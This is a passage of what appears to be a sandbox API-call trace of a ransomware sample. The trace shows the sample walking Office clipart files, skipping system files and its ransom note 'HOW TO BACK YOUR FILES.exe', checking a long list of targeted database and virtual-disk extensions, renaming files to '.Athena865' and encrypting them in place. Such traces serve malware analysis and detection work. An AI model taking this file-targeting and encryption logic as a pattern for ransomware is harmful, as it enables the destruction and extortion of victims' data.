dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.336] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.336] CloseHandle (hObject=0x154) returned 1 [0129.336] CloseHandle (hObject=0x17c) returned 1 [0129.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.337] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0279644.WMF", cAlternateFileName="")) returned 1 [0129.337] lstrcmpiW (lpString1="J0279644.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.337] lstrcmpiW (lpString1="J0279644.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.337] lstrcmpiW (lpString1="J0279644.WMF", lpString2=".") returned 1 [0129.337] lstrcmpiW (lpString1="J0279644.WMF", lpString2="..") returned 1 [0129.337] lstrcmpiW (lpString1="J0279644.WMF", lpString2="windows") returned -1 [0129.337] lstrcmpiW (lpString1="J0279644.WMF", lpString2="bootmgr") returned 1 [0129.337] lstrcmpiW (lpString1="J0279644.WMF", lpString2="temp") returned -1 [0129.337] lstrcmpiW (lpString1="J0279644.WMF", lpString2="pagefile.sys") returned -1 [0129.337] lstrcmpiW (lpString1="J0279644.WMF", lpString2="boot") returned 1 [0129.337] lstrcmpiW (lpString1="J0279644.WMF", lpString2="ids.txt") returned 1 [0129.337] lstrcmpiW (lpString1="J0279644.WMF", lpString2="ntuser.dat") returned -1 [0129.337] lstrcmpiW (lpString1="J0279644.WMF", lpString2="perflogs") returned -1 [0129.337] lstrcmpiW (lpString1="J0279644.WMF", lpString2="MSBuild") returned -1 [0129.337] lstrlenW (lpString="J0279644.WMF") returned 12 [0129.337] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0279644.WMF" | out: lpString1="J0279644.WMF") returned="J0279644.WMF" [0129.337] lstrlenW (lpString="J0279644.WMF") returned 12 [0129.337] lstrlenW (lpString="Athena865") returned 9 [0129.338] lstrcmpiW (lpString1="79644.WMF", lpString2="Athena865") returned -1 [0129.338] lstrlenW (lpString=".dll") returned 4 [0129.338] lstrcmpiW (lpString1="J0279644.WMF", lpString2=".dll") returned 1 [0129.338] lstrlenW (lpString=".lnk") returned 4 [0129.338] lstrcmpiW (lpString1="J0279644.WMF", lpString2=".lnk") returned 1 [0129.338] lstrlenW (lpString=".ini") returned 4 [0129.338] lstrcmpiW (lpString1="J0279644.WMF", lpString2=".ini") returned 1 [0129.338] lstrlenW (lpString=".sys") returned 4 [0129.338] lstrcmpiW (lpString1="J0279644.WMF", lpString2=".sys") returned 1 [0129.338] lstrlenW (lpString="J0279644.WMF") returned 12 [0129.338] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.Athena865") returned 73 [0129.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf.athena865"), dwFlags=0x1) returned 1 [0129.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.340] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17200) returned 1 [0129.340] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.340] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.340] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.340] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.341] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.341] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.341] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4630, lpName=0x0) returned 0x154 [0129.343] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4630) returned 0x100000 [0129.344] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.345] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.345] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.346] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.346] CloseHandle (hObject=0x154) returned 1 [0129.346] CloseHandle (hObject=0x17c) returned 1 [0129.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.346] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11dee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0280468.WMF", cAlternateFileName="")) returned 1 [0129.346] lstrcmpiW (lpString1="J0280468.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.347] lstrcmpiW (lpString1="J0280468.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.347] lstrcmpiW (lpString1="J0280468.WMF", lpString2=".") returned 1 [0129.347] lstrcmpiW (lpString1="J0280468.WMF", lpString2="..") returned 1 [0129.347] lstrcmpiW (lpString1="J0280468.WMF", lpString2="windows") returned -1 [0129.347] lstrcmpiW (lpString1="J0280468.WMF", lpString2="bootmgr") returned 1 [0129.347] lstrcmpiW (lpString1="J0280468.WMF", lpString2="temp") returned -1 [0129.347] lstrcmpiW (lpString1="J0280468.WMF", lpString2="pagefile.sys") returned -1 [0129.347] lstrcmpiW (lpString1="J0280468.WMF", lpString2="boot") returned 1 [0129.347] lstrcmpiW (lpString1="J0280468.WMF", lpString2="ids.txt") returned 1 [0129.347] lstrcmpiW (lpString1="J0280468.WMF", lpString2="ntuser.dat") returned -1 [0129.347] lstrcmpiW (lpString1="J0280468.WMF", lpString2="perflogs") returned -1 [0129.347] lstrcmpiW (lpString1="J0280468.WMF", lpString2="MSBuild") returned -1 [0129.347] lstrlenW (lpString="J0280468.WMF") returned 12 [0129.347] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0280468.WMF" | out: lpString1="J0280468.WMF") returned="J0280468.WMF" [0129.347] lstrlenW (lpString="J0280468.WMF") returned 12 [0129.347] lstrlenW (lpString="Athena865") returned 9 [0129.347] lstrcmpiW (lpString1="80468.WMF", lpString2="Athena865") returned -1 [0129.347] lstrlenW (lpString=".dll") returned 4 [0129.347] lstrcmpiW (lpString1="J0280468.WMF", lpString2=".dll") returned 1 [0129.347] lstrlenW (lpString=".lnk") returned 4 [0129.347] lstrcmpiW (lpString1="J0280468.WMF", lpString2=".lnk") returned 1 [0129.347] lstrlenW (lpString=".ini") returned 4 [0129.347] lstrcmpiW (lpString1="J0280468.WMF", lpString2=".ini") returned 1 [0129.347] lstrlenW (lpString=".sys") returned 4 [0129.347] lstrcmpiW (lpString1="J0280468.WMF", lpString2=".sys") returned 1 [0129.347] lstrlenW (lpString="J0280468.WMF") returned 12 [0129.348] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.Athena865") returned 73 [0129.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf.athena865"), dwFlags=0x1) returned 1 [0129.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.349] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=73198) returned 1 [0129.349] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.349] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.349] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.349] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.350] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.350] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.350] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x120f0, lpName=0x0) returned 0x154 [0129.352] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x120f0) returned 0x100000 [0129.356] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.357] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.357] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.358] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.359] CloseHandle (hObject=0x154) returned 1 [0129.359] CloseHandle (hObject=0x17c) returned 1 [0129.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.359] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30398a00, ftCreationTime.dwHighDateTime=0x1bed30f, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30398a00, ftLastWriteTime.dwHighDateTime=0x1bed30f, nFileSizeHigh=0x0, nFileSizeLow=0x94c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0281008.WMF", cAlternateFileName="")) returned 1 [0129.359] lstrcmpiW (lpString1="J0281008.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.359] lstrcmpiW (lpString1="J0281008.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.359] lstrcmpiW (lpString1="J0281008.WMF", lpString2=".") returned 1 [0129.359] lstrcmpiW (lpString1="J0281008.WMF", lpString2="..") returned 1 [0129.359] lstrcmpiW (lpString1="J0281008.WMF", lpString2="windows") returned -1 [0129.359] lstrcmpiW (lpString1="J0281008.WMF", lpString2="bootmgr") returned 1 [0129.359] lstrcmpiW (lpString1="J0281008.WMF", lpString2="temp") returned -1 [0129.360] lstrcmpiW (lpString1="J0281008.WMF", lpString2="pagefile.sys") returned -1 [0129.360] lstrcmpiW (lpString1="J0281008.WMF", lpString2="boot") returned 1 [0129.360] lstrcmpiW (lpString1="J0281008.WMF", lpString2="ids.txt") returned 1 [0129.360] lstrcmpiW (lpString1="J0281008.WMF", lpString2="ntuser.dat") returned -1 [0129.360] lstrcmpiW (lpString1="J0281008.WMF", lpString2="perflogs") returned -1 [0129.360] lstrcmpiW (lpString1="J0281008.WMF", lpString2="MSBuild") returned -1 [0129.360] lstrlenW (lpString="J0281008.WMF") returned 12 [0129.360] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0281008.WMF" | out: lpString1="J0281008.WMF") returned="J0281008.WMF" [0129.360] lstrlenW (lpString="J0281008.WMF") returned 12 [0129.360] lstrlenW (lpString="Athena865") returned 9 [0129.360] lstrcmpiW (lpString1="81008.WMF", lpString2="Athena865") returned -1 [0129.360] lstrlenW (lpString=".dll") returned 4 [0129.360] lstrcmpiW (lpString1="J0281008.WMF", lpString2=".dll") returned 1 [0129.360] lstrlenW (lpString=".lnk") returned 4 [0129.360] lstrcmpiW (lpString1="J0281008.WMF", lpString2=".lnk") returned 1 [0129.360] lstrlenW (lpString=".ini") returned 4 [0129.360] lstrcmpiW (lpString1="J0281008.WMF", lpString2=".ini") returned 1 [0129.360] lstrlenW (lpString=".sys") returned 4 [0129.360] lstrcmpiW (lpString1="J0281008.WMF", lpString2=".sys") returned 1 [0129.360] lstrlenW (lpString="J0281008.WMF") returned 12 [0129.360] lstrlenW (lpString="bak") returned 3 [0129.360] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.360] lstrlenW (lpString="ba_") returned 3 [0129.360] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.360] lstrlenW (lpString="dbb") returned 3 [0129.360] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.361] lstrlenW (lpString="vmdk") returned 4 [0129.361] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.361] lstrlenW (lpString="rar") returned 3 [0129.361] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.361] lstrlenW (lpString="zip") returned 3 [0129.361] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.361] lstrlenW (lpString="tgz") returned 3 [0129.361] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.361] lstrlenW (lpString="vbox") returned 4 [0129.361] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.361] lstrlenW (lpString="vdi") returned 3 [0129.361] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.361] lstrlenW (lpString="vhd") returned 3 [0129.361] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.361] lstrlenW (lpString="vhdx") returned 4 [0129.361] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.361] lstrlenW (lpString="avhd") returned 4 [0129.361] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.361] lstrlenW (lpString="db") returned 2 [0129.361] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.361] lstrlenW (lpString="db2") returned 3 [0129.361] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.361] lstrlenW (lpString="db3") returned 3 [0129.361] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.361] lstrlenW (lpString="dbf") returned 3 [0129.361] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.362] lstrlenW (lpString="mdf") returned 3 [0129.362] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.362] lstrlenW (lpString="mdb") returned 3 [0129.362] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.362] lstrlenW (lpString="sql") returned 3 [0129.362] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.362] lstrlenW (lpString="sqlite") returned 6 [0129.362] lstrcmpiW (lpString1="08.WMF", lpString2="sqlite") returned -1 [0129.362] lstrlenW (lpString="sqlite3") returned 7 [0129.362] lstrcmpiW (lpString1="008.WMF", lpString2="sqlite3") returned -1 [0129.362] lstrlenW (lpString="sqlitedb") returned 8 [0129.362] lstrcmpiW (lpString1="1008.WMF", lpString2="sqlitedb") returned -1 [0129.362] lstrlenW (lpString="xml") returned 3 [0129.362] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.362] lstrlenW (lpString="$er") returned 3 [0129.362] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.362] lstrlenW (lpString="4dd") returned 3 [0129.362] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.362] lstrlenW (lpString="4dl") returned 3 [0129.362] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.362] lstrlenW (lpString="^^^") returned 3 [0129.362] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.362] lstrlenW (lpString="abs") returned 3 [0129.362] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.362] lstrlenW (lpString="abx") returned 3 [0129.362] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.362] lstrlenW (lpString="accdb") returned 5 [0129.363] lstrcmpiW (lpString1="8.WMF", lpString2="accdb") returned -1 [0129.363] lstrlenW (lpString="accdc") returned 5 [0129.363] lstrcmpiW (lpString1="8.WMF", lpString2="accdc") returned -1 [0129.363] lstrlenW (lpString="accde") returned 5 [0129.363] lstrcmpiW (lpString1="8.WMF", lpString2="accde") returned -1 [0129.363] lstrlenW (lpString="accdr") returned 5 [0129.363] lstrcmpiW (lpString1="8.WMF", lpString2="accdr") returned -1 [0129.363] lstrlenW (lpString="accdt") returned 5 [0129.363] lstrcmpiW (lpString1="8.WMF", lpString2="accdt") returned -1 [0129.363] lstrlenW (lpString="accdw") returned 5 [0129.363] lstrcmpiW (lpString1="8.WMF", lpString2="accdw") returned -1 [0129.363] lstrlenW (lpString="accft") returned 5 [0129.363] lstrcmpiW (lpString1="8.WMF", lpString2="accft") returned -1 [0129.363] lstrlenW (lpString="adb") returned 3 [0129.363] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.363] lstrlenW (lpString="adb") returned 3 [0129.363] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.363] lstrlenW (lpString="ade") returned 3 [0129.363] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.363] lstrlenW (lpString="adf") returned 3 [0129.363] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.363] lstrlenW (lpString="adn") returned 3 [0129.363] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.363] lstrlenW (lpString="adp") returned 3 [0129.363] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.363] lstrlenW (lpString="alf") returned 3 [0129.363] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.364] lstrlenW (lpString="ask") returned 3 [0129.364] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.364] lstrlenW (lpString="btr") returned 3 [0129.364] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.364] lstrlenW (lpString="cat") returned 3 [0129.364] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.364] lstrlenW (lpString="cdb") returned 3 [0129.364] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.364] lstrlenW (lpString="ckp") returned 3 [0129.364] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.364] lstrlenW (lpString="cma") returned 3 [0129.364] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.364] lstrlenW (lpString="cpd") returned 3 [0129.364] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.364] lstrlenW (lpString="dacpac") returned 6 [0129.364] lstrcmpiW (lpString1="08.WMF", lpString2="dacpac") returned -1 [0129.364] lstrlenW (lpString="dad") returned 3 [0129.364] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.364] lstrlenW (lpString="dadiagrams") returned 10 [0129.364] lstrcmpiW (lpString1="281008.WMF", lpString2="dadiagrams") returned -1 [0129.364] lstrlenW (lpString="daschema") returned 8 [0129.364] lstrcmpiW (lpString1="1008.WMF", lpString2="daschema") returned -1 [0129.364] lstrlenW (lpString="db-journal") returned 10 [0129.364] lstrcmpiW (lpString1="281008.WMF", lpString2="db-journal") returned -1 [0129.364] lstrlenW (lpString="db-shm") returned 6 [0129.364] lstrcmpiW (lpString1="08.WMF", lpString2="db-shm") returned -1 [0129.365] lstrlenW (lpString="db-wal") returned 6 [0129.365] lstrcmpiW (lpString1="08.WMF", lpString2="db-wal") returned -1 [0129.365] lstrlenW (lpString="dbc") returned 3 [0129.365] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.365] lstrlenW (lpString="dbs") returned 3 [0129.365] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.365] lstrlenW (lpString="dbt") returned 3 [0129.365] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.365] lstrlenW (lpString="dbv") returned 3 [0129.365] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.365] lstrlenW (lpString="dbx") returned 3 [0129.365] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.365] lstrlenW (lpString="dcb") returned 3 [0129.365] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.365] lstrlenW (lpString="dct") returned 3 [0129.365] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.365] lstrlenW (lpString="dcx") returned 3 [0129.365] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0129.365] lstrlenW (lpString="ddl") returned 3 [0129.365] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0129.365] lstrlenW (lpString="dlis") returned 4 [0129.365] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0129.365] lstrlenW (lpString="dp1") returned 3 [0129.365] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0129.365] lstrlenW (lpString="dqy") returned 3 [0129.365] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0129.365] lstrlenW (lpString="dsk") returned 3 [0129.366] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0129.366] lstrlenW (lpString="dsn") returned 3 [0129.366] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0129.366] lstrlenW (lpString="dtsx") returned 4 [0129.366] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0129.366] lstrlenW (lpString="dxl") returned 3 [0129.366] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0129.366] lstrlenW (lpString="eco") returned 3 [0129.366] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0129.366] lstrlenW (lpString="ecx") returned 3 [0129.366] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0129.366] lstrlenW (lpString="edb") returned 3 [0129.366] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0129.366] lstrlenW (lpString="epim") returned 4 [0129.366] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0129.366] lstrlenW (lpString="fcd") returned 3 [0129.366] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0129.366] lstrlenW (lpString="fdb") returned 3 [0129.366] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0129.366] lstrlenW (lpString="fic") returned 3 [0129.366] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0129.366] lstrlenW (lpString="flexolibrary") returned 12 [0129.366] lstrlenW (lpString="fm5") returned 3 [0129.366] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0129.366] lstrlenW (lpString="fmp") returned 3 [0129.366] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0129.366] lstrlenW (lpString="fmp12") returned 5 [0129.367] lstrcmpiW (lpString1="8.WMF", lpString2="fmp12") returned -1 [0129.367] lstrlenW (lpString="fmpsl") returned 5 [0129.367] lstrcmpiW (lpString1="8.WMF", lpString2="fmpsl") returned -1 [0129.367] lstrlenW (lpString="fol") returned 3 [0129.367] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0129.367] lstrlenW (lpString="fp3") returned 3 [0129.367] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0129.367] lstrlenW (lpString="fp4") returned 3 [0129.367] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0129.367] lstrlenW (lpString="fp5") returned 3 [0129.367] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0129.367] lstrlenW (lpString="fp7") returned 3 [0129.367] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0129.367] lstrlenW (lpString="fpt") returned 3 [0129.367] lstrcmpiW 